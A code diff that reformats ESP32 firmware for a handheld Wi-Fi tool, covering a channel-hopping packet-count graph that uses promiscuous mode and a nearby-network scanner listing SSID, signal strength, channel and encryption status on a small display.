@ -6,131 +6,142 @@
#include "../utils/buttons.h" #include "../utils/buttons.h"
// ===== CONFIG ===== // ===== CONFIG =====
#define GRAPH_WIDTH 128 #define GRAPH_WIDTH 128
#define GRAPH_HEIGHT 44 #define GRAPH_HEIGHT 44
#define GRAPH_TOP 10 #define GRAPH_TOP 10
#define MAX_POINTS 128 #define MAX_POINTS 128
#define SPIKE_THRESHOLD 30 #define SPIKE_THRESHOLD 30
// ===== STATE ===== // ===== STATE =====
struct SnifferGraph { struct SnifferGraph {
uint8_t graphData[MAX_POINTS]; uint8_t graphData[MAX_POINTS];
uint8_t currentChannel = 1; uint8_t currentChannel = 1;
volatile uint16_t packetCounter = 0; volatile uint16_t packetCounter = 0;
unsigned long lastChannelSwitch = 0; unsigned long lastChannelSwitch = 0;
unsigned long lastUpdate = 0; unsigned long lastUpdate = 0;
}; };
static SnifferGraph sniffer; static SnifferGraph sniffer;
// ===== CALLBACK ===== // ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) { {
sniffer.packetCounter++; if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
} {
sniffer.packetCounter++;
}
} }
// ===== INIT ===== // ===== INIT =====
void wifi_analyzer_start() { void wifi_analyzer_start()
// display init (safe to call again) {
u8g2.clearBuffer(); // display init (safe to call again)
u8g2.setFont(u8g2_font_5x8_tr); u8g2.clearBuffer();
u8g2.drawStr(0, 10, "Starting analyzer..."); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.sendBuffer(); u8g2.drawStr(0, 10, "Starting analyzer...");
u8g2.sendBuffer();
// reset graph // reset graph
memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
sniffer.packetCounter = 0; sniffer.packetCounter = 0;
sniffer.currentChannel = 1; sniffer.currentChannel = 1;
// reset WiFi // reset WiFi
WiFi.disconnect(true, true); WiFi.disconnect(true, true);
esp_wifi_stop(); esp_wifi_stop();
delay(200); delay(200);
esp_wifi_deinit(); esp_wifi_deinit();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&cfg); esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_storage(WIFI_STORAGE_RAM);
esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start(); esp_wifi_start();
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
esp_wifi_set_promiscuous_rx_cb(snifferCallback); esp_wifi_set_promiscuous_rx_cb(snifferCallback);
esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous(true);
} }
// ===== HELPERS ===== // ===== HELPERS =====
static void switchChannel() { static void switchChannel()
sniffer.currentChannel++; {
if (sniffer.currentChannel > 13) sniffer.currentChannel++;
sniffer.currentChannel = 1; if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
} }
static void updateGraph(uint8_t value) { static void updateGraph(uint8_t value)
for (int i = 0; i < MAX_POINTS - 1; i++) { {
sniffer.graphData[i] = sniffer.graphData[i + 1]; for (int i = 0; i < MAX_POINTS - 1; i++)
} {
sniffer.graphData[i] = sniffer.graphData[i + 1];
}
sniffer.graphData[MAX_POINTS - 1] = value; sniffer.graphData[MAX_POINTS - 1] = value;
} }
static void drawGraph(uint16_t pktCount) { static void drawGraph(uint16_t pktCount)
u8g2.clearBuffer(); {
u8g2.setFont(u8g2_font_5x8_tr); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
char line1[16]; char line1[16];
char line2[16]; char line2[16];
sprintf(line1, "Ch:%d", sniffer.currentChannel); sprintf(line1, "Ch:%d", sniffer.currentChannel);
sprintf(line2, "Pkts:%d", pktCount * 5); sprintf(line2, "Pkts:%d", pktCount * 5);
u8g2.drawStr(0, 8, line1); u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2); u8g2.drawStr(60, 8, line2);
for (int x = 1; x < GRAPH_WIDTH; x++) { for (int x = 1; x < GRAPH_WIDTH; x++)
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; {
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
u8g2.drawLine(x - 1, y1, x, y2); u8g2.drawLine(x - 1, y1, x, y2);
} }
if (pktCount >= SPIKE_THRESHOLD) { if (pktCount >= SPIKE_THRESHOLD)
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); {
} u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
}
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_analyzer_loop() { void wifi_analyzer_loop()
static uint32_t lastPress = 0; {
unsigned long now = millis(); static uint32_t lastPress = 0;
unsigned long now = millis();
// channel hopping // channel hopping
if (now - sniffer.lastChannelSwitch >= 1000) { if (now - sniffer.lastChannelSwitch >= 1000)
sniffer.lastChannelSwitch = now; {
switchChannel(); sniffer.lastChannelSwitch = now;
} switchChannel();
}
// graph update // graph update
if (now - sniffer.lastUpdate >= 200) { if (now - sniffer.lastUpdate >= 200)
sniffer.lastUpdate = now; {
sniffer.lastUpdate = now;
uint16_t pktCount = sniffer.packetCounter; uint16_t pktCount = sniffer.packetCounter;
uint8_t scaled = pktCount * 2; uint8_t scaled = pktCount * 2;
uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
updateGraph(value); updateGraph(value);
drawGraph(pktCount); drawGraph(pktCount);
sniffer.packetCounter = 0; sniffer.packetCounter = 0;
} }
// optional: small debounce to not hammer CPU // optional: small debounce to not hammer CPU
if (millis() - lastPress < 10) if (millis() - lastPress < 10)
return; return;
} }

209
src/wifi/wifi_scan.cpp
View File

@ -1,15 +1,15 @@
#include "../ui/display.h"
#include "../utils/buttons.h"
#include <Arduino.h> #include <Arduino.h>
#include <WiFi.h> #include <WiFi.h>
#include "../ui/display.h"
#include "../utils/buttons.h"
#define MAX_NETWORKS 30 #define MAX_NETWORKS 30
struct WiFiNet { struct WiFiNet {
String ssid; String ssid;
int rssi; int rssi;
int channel; int channel;
bool encrypted; bool encrypted;
}; };
static WiFiNet networks[MAX_NETWORKS]; static WiFiNet networks[MAX_NETWORKS];
@ -17,123 +17,136 @@ static int networkCount = 0;
static int selectedIndex = 0; static int selectedIndex = 0;
// ===== SCAN ===== // ===== SCAN =====
void wifi_scan_start() { void wifi_scan_start()
u8g2.clearBuffer(); {
u8g2.drawStr(10, 30, "Scanning WiFi..."); u8g2.clearBuffer();
u8g2.sendBuffer(); u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.sendBuffer();
WiFi.mode(WIFI_STA); WiFi.mode(WIFI_STA);
WiFi.disconnect(); WiFi.disconnect();
delay(100); delay(100);
int n = WiFi.scanNetworks(); int n = WiFi.scanNetworks();
networkCount = min(n, MAX_NETWORKS); networkCount = min(n, MAX_NETWORKS);
for (int i = 0; i < networkCount; i++) { for (int i = 0; i < networkCount; i++)
networks[i].ssid = WiFi.SSID(i); {
networks[i].rssi = WiFi.RSSI(i); networks[i].ssid = WiFi.SSID(i);
networks[i].channel = WiFi.channel(i); networks[i].rssi = WiFi.RSSI(i);
networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); networks[i].channel = WiFi.channel(i);
} networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN);
}
selectedIndex = 0; selectedIndex = 0;
} }
// ===== DRAW ===== // ===== DRAW =====
void wifi_scan_draw() { void wifi_scan_draw()
u8g2.clearBuffer(); {
u8g2.clearBuffer();
if (networkCount == 0) { if (networkCount == 0)
u8g2.drawStr(0, 30, "No networks"); {
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 30, "No networks");
} else { u8g2.drawStr(0, 45, "Press BACK");
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= networkCount)
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
} }
} else
{
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, counter);
u8g2.sendBuffer(); u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= networkCount) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = networks[idx].ssid;
if (text.length() > 10)
text = text.substring(0, 10) + "..";
text += " (" + String(networks[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
}
u8g2.sendBuffer();
} }
// ===== DETAILS ===== // ===== DETAILS =====
void wifi_drawDetails() { void wifi_drawDetails()
if (networkCount == 0) {
return; if (networkCount == 0) return;
WiFiNet &net = networks[selectedIndex]; WiFiNet &net = networks[selectedIndex];
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, net.ssid.c_str()); u8g2.drawStr(0, 10, net.ssid.c_str());
char rssi[20]; char rssi[20];
sprintf(rssi, "RSSI: %d", net.rssi); sprintf(rssi, "RSSI: %d", net.rssi);
u8g2.drawStr(0, 20, rssi); u8g2.drawStr(0, 20, rssi);
char ch[20]; char ch[20];
sprintf(ch, "CH: %d", net.channel); sprintf(ch, "CH: %d", net.channel);
u8g2.drawStr(0, 30, ch); u8g2.drawStr(0, 30, ch);
u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open"); u8g2.drawStr(0, 40, net.encrypted ? "Secured" : "Open");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_scan_loop() { void wifi_scan_loop()
static uint32_t lastPress = 0; {
static uint32_t lastPress = 0;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnDown() && selectedIndex < networkCount - 1) { if (btnDown() && selectedIndex < networkCount - 1)
selectedIndex++; {
wifi_scan_draw(); selectedIndex++;
lastPress = millis(); wifi_scan_draw();
} else if (btnUp() && selectedIndex > 0) { lastPress = millis();
selectedIndex--; }
wifi_scan_draw(); else if (btnUp() && selectedIndex > 0)
lastPress = millis(); {
} else if (btnSelect() && networkCount > 0) { selectedIndex--;
wifi_drawDetails(); wifi_scan_draw();
delay(3000); lastPress = millis();
wifi_scan_draw(); }
lastPress = millis(); else if (btnSelect() && networkCount > 0)
} {
// else if (btnBack()) wifi_drawDetails();
// { delay(3000);
// wifi_scan_start(); wifi_scan_draw();
// wifi_scan_draw(); lastPress = millis();
// lastPress = millis(); }
// } // else if (btnBack())
// {
// wifi_scan_start();
// wifi_scan_draw();
// lastPress = millis();
// }
} }